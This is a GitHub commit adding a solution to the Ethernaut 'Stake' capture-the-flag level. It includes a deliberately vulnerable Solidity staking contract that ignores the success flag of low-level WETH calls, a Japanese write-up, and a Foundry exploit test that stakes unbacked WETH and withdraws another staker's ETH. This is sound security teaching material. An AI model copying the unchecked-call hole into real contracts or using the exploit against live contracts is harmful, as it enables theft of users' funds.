Skip to content

Commit 6f65ee3

Browse files
committed
add Ethernaut 31. Stake
1 parent b4420ce commit 6f65ee3

File tree

6 files changed

+134
-0
lines changed

6 files changed

+134
-0
lines changed

README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ Please be aware that these contain spoilers. For contribution guidelines, please
2222
- [Forced Ether transfers to non-payable contracts via `selfdestruct`](#forced-ether-transfers-to-non-payable-contracts-via-selfdestruct)
2323
- [Large gas consumption by contract callees](#large-gas-consumption-by-contract-callees)
2424
- [Forgetting to set `view`/`pure` to interface and abstract contract functions](#forgetting-to-set-viewpure-to-interface-and-abstract-contract-functions)
25+
- [Missing success flag checks in low-level calls](#missing-success-flag-checks-in-low-level-calls)
2526
- [`view` functions that do not always return same values](#view-functions-that-do-not-always-return-same-values)
2627
- [Mistakes in setting `storage` and `memory`](#mistakes-in-setting-storage-and-memory)
2728
- [Tracing transactions](#tracing-transactions)
@@ -218,6 +219,13 @@ Note:
218219
| ----------------------------------------- | -------------- |
219220
| [Ethernaut: 11. Elevator](src/Ethernaut/) | interface |
220221

222+
### Missing success flag checks in low-level calls
223+
- If a contract performs low-level calls (such as call, delegatecall, or staticcall) without checking the returned success flag, it may mistakenly assume the call succeeded, potentially leading to vulnerabilities.
224+
225+
| Challenge | Note, Keywords |
226+
| -------------------------------------- | -------------- |
227+
| [Ethernaut: 31. Stake](src/Ethernaut/) | |
228+
221229
### `view` functions that do not always return same values
222230
- Since `view` functions can read state, they can be conditionally branched based on state and do not necessarily return the same value.
223231

src/Ethernaut/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -460,3 +460,11 @@ forge script SwitchExploitScript -vvvv --private-key $PRIVATE_KEY --fork-url $RP
460460
```sh
461461
forge test --match-contract HigherOrderExploit -vvvv
462462
```
463+
464+
## 31. Stake
465+
[Challenge & Exploit codes](Stake)
466+
467+
**Test**
468+
```sh
469+
forge test --match-contract StakeExploit -vvvv
470+
```

src/Ethernaut/Stake/Exploit.t.sol

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.13;
3+
4+
import "forge-std/Test.sol";
5+
import "./StakeFactory.sol";
6+
7+
contract StakeExploitTest is Test {
8+
function test() public {
9+
address playerAddress = makeAddr("player");
10+
vm.deal(playerAddress, 1 ether);
11+
StakeFactory factory = new StakeFactory();
12+
address instanceAddress = factory.createInstance(playerAddress);
13+
14+
vm.startPrank(playerAddress, playerAddress);
15+
16+
new Victim{value: 0.003 ether}(instanceAddress);
17+
18+
Stake instance = Stake(instanceAddress);
19+
ERC20(instance.WETH()).approve(address(instance), type(uint256).max);
20+
21+
instance.StakeWETH(0.002 ether);
22+
instance.Unstake(0.002 ether);
23+
24+
vm.stopPrank();
25+
26+
assertTrue(factory.validateInstance(payable(instanceAddress), playerAddress), "Invalid Instance");
27+
}
28+
}
29+
30+
contract Victim {
31+
constructor(address instanceAddress) payable {
32+
Stake instance = Stake(instanceAddress);
33+
instance.StakeETH{value: msg.value}();
34+
}
35+
}

src/Ethernaut/Stake/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
## Overview
2+
- Stake: ETH と WETH をステークできるコントラクト
3+
- `allowance(address,address)``transferFrom(address,address,uint256)` が、`abi.encodeWithSelector` を用いて呼び出されている
4+
5+
## Solution
6+
- `allowance(address,address)``transferFrom(address,address,uint256)` が成功したかどうかがチェックされていない
7+
- `transferFrom` が失敗するが、`StakeWETH` が成功するようなトランザクションを投げれば良い
8+
- 条件 `_instance.balance != 0 && instance.totalStaked() > _instance.balance && instance.UserStake(_player) == 0 && instance.Stakers(_player)` を満たすために被害者コントラクトを用意する

src/Ethernaut/Stake/Stake.sol

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.0;
3+
4+
contract Stake {
5+
uint256 public totalStaked;
6+
mapping(address => uint256) public UserStake;
7+
mapping(address => bool) public Stakers;
8+
address public WETH;
9+
10+
constructor(address _weth) payable {
11+
totalStaked += msg.value;
12+
WETH = _weth;
13+
}
14+
15+
function StakeETH() public payable {
16+
require(msg.value > 0.001 ether, "Don't be cheap");
17+
totalStaked += msg.value;
18+
UserStake[msg.sender] += msg.value;
19+
Stakers[msg.sender] = true;
20+
}
21+
22+
function StakeWETH(uint256 amount) public returns (bool) {
23+
require(amount > 0.001 ether, "Don't be cheap");
24+
(, bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this)));
25+
require(bytesToUint(allowance) >= amount, "How am I moving the funds honey?");
26+
totalStaked += amount;
27+
UserStake[msg.sender] += amount;
28+
(bool transferred,) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), amount));
29+
Stakers[msg.sender] = true;
30+
return transferred;
31+
}
32+
33+
function Unstake(uint256 amount) public returns (bool) {
34+
require(UserStake[msg.sender] >= amount, "Don't be greedy");
35+
UserStake[msg.sender] -= amount;
36+
totalStaked -= amount;
37+
(bool success,) = payable(msg.sender).call{value: amount}("");
38+
return success;
39+
}
40+
41+
function bytesToUint(bytes memory data) internal pure returns (uint256) {
42+
require(data.length >= 32, "Data length must be at least 32 bytes");
43+
uint256 result;
44+
assembly {
45+
result := mload(add(data, 0x20))
46+
}
47+
return result;
48+
}
49+
}
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.20;
3+
4+
import "../Ethernaut/Level.sol";
5+
import "./Stake.sol";
6+
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
7+
8+
contract DWETH is ERC20 {
9+
constructor() ERC20("DummyWETH", "DWETH") {
10+
_mint(msg.sender, 1000000 * 10 ** decimals());
11+
}
12+
}
13+
14+
contract StakeFactory is Level {
15+
address _dweth = address(new DWETH());
16+
17+
function createInstance(address _player) public payable override returns (address) {
18+
return address(new Stake(address(_dweth)));
19+
}
20+
21+
function validateInstance(address payable _instance, address _player) public view override returns (bool) {
22+
Stake instance = Stake(_instance);
23+
return _instance.balance != 0 && instance.totalStaked() > _instance.balance && instance.UserStake(_player) == 0
24+
&& instance.Stakers(_player);
25+
}
26+
}

0 commit comments

Comments
 (0)